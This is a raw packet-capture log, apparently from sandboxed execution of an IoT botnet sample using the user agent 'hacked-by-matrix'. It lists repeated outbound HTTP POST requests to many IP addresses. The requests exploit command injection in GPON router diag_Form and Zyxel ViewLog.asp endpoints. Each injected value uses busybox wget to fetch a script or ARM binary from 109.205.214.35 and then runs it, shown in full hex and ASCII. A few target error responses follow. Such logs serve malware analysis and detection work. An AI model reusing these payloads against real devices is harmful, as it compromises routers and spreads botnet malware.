Mar 21, 2024 05:26:59.407411098 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1536	192.168.2.23	42116	212.116.76.97	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:59.407428026 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1537	192.168.2.23	57942	212.244.140.180	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:59.407428980 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1538	192.168.2.23	48476	2.236.0.204	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:59.407433033 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1539	192.168.2.23	51922	178.39.157.241	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:59.407484055 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1540	192.168.2.23	60256	79.67.91.66	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:59.407493114 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1541	192.168.2.23	33120	79.15.237.32	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:59.407493114 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1542	192.168.2.23	49504	178.154.190.216	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:59.407502890 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1543	192.168.2.23	55446	42.185.100.27	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:59.407516003 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1544	192.168.2.23	44470	212.215.182.78	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:59.407530069 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1545	192.168.2.23	35330	210.183.181.65	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:59.407568932 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1546	192.168.2.23	36838	169.48.129.14	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:59.765993118 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:27:00.519671917 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:27:00.651700974 CET	1286	IN	HTTP/1.1 404 Not Found Content-Type: text/html Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET Date: Thu, 21 Mar 2024 04:27:00 GMT Content-Length: 1245 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 3c 2f 64 69 76 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0d 0a 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 3c 66 69 65 6c 64 73 65 74 3e 0d 0a 20 20 3c 68 32 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 68 32 3e 0d 0a 20 20 3c 68 33 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>404 - File or directory not found.</title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1>Server Error</h1></div><div id="content"> <div class="content-container"><fieldset> <h2>404 - File or directory not found.</h2> <h3>The resource you are looking fo
Mar 21, 2024 05:27:00.651737928 CET	144	IN	Data Raw: 72 20 6d 69 67 68 74 20 68 61 76 65 20 62 65 65 6e 20 72 65 6d 6f 76 65 64 2c 20 68 61 64 20 69 74 73 20 6e 61 6d 65 20 63 68 61 6e 67 65 64 2c 20 6f 72 20 69 73 20 74 65 6d 70 6f 72 61 72 69 6c 79 20 75 6e 61 76 61 69 6c 61 62 6c 65 2e 3c 2f 68 Data Ascii: r might have been removed, had its name changed, or is temporarily unavailable.</h3> </fieldset></div></div></body></html>
Mar 21, 2024 05:27:00.651799917 CET	517	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Thu, 21 Mar 2024 04:27:00 GMT Connection: close Content-Length: 326 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 20 2d 20 49 6e 76 61 6c 69 64 20 56 65 72 62 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 76 65 72 62 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request - Invalid Verb</h2><hr><p>HTTP Error 400. The request verb is invalid.</p></BODY></HTML>
Mar 21, 2024 05:27:01.561397076 CET	1286	IN	Data Raw: 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 Data Ascii: em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;

Session ID	Source IP	Source Port	Destination IP	Destination Port
1547	192.168.2.23	42364	141.195.117.139	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:59.866471052 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:27:00.001010895 CET	175	IN	HTTP/1.1 400 Bad Request: missing required Host header Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3a 20 6d 69 73 73 69 6e 67 20 72 65 71 75 69 72 65 64 20 48 6f 73 74 20 68 65 61 64 65 72 Data Ascii: 400 Bad Request: missing required Host header

Session ID	Source IP	Source Port	Destination IP	Destination Port
1548	192.168.2.23	34924	119.144.125.181	8088

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:01.097661972 CET	516	IN	HTTP/1.0 400 Bad Request Content-Type: text/html Content-Length: 349 Connection: close Date: Thu, 21 Mar 2024 04:27:00 GMT Server: lighttpd/1.4.45 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 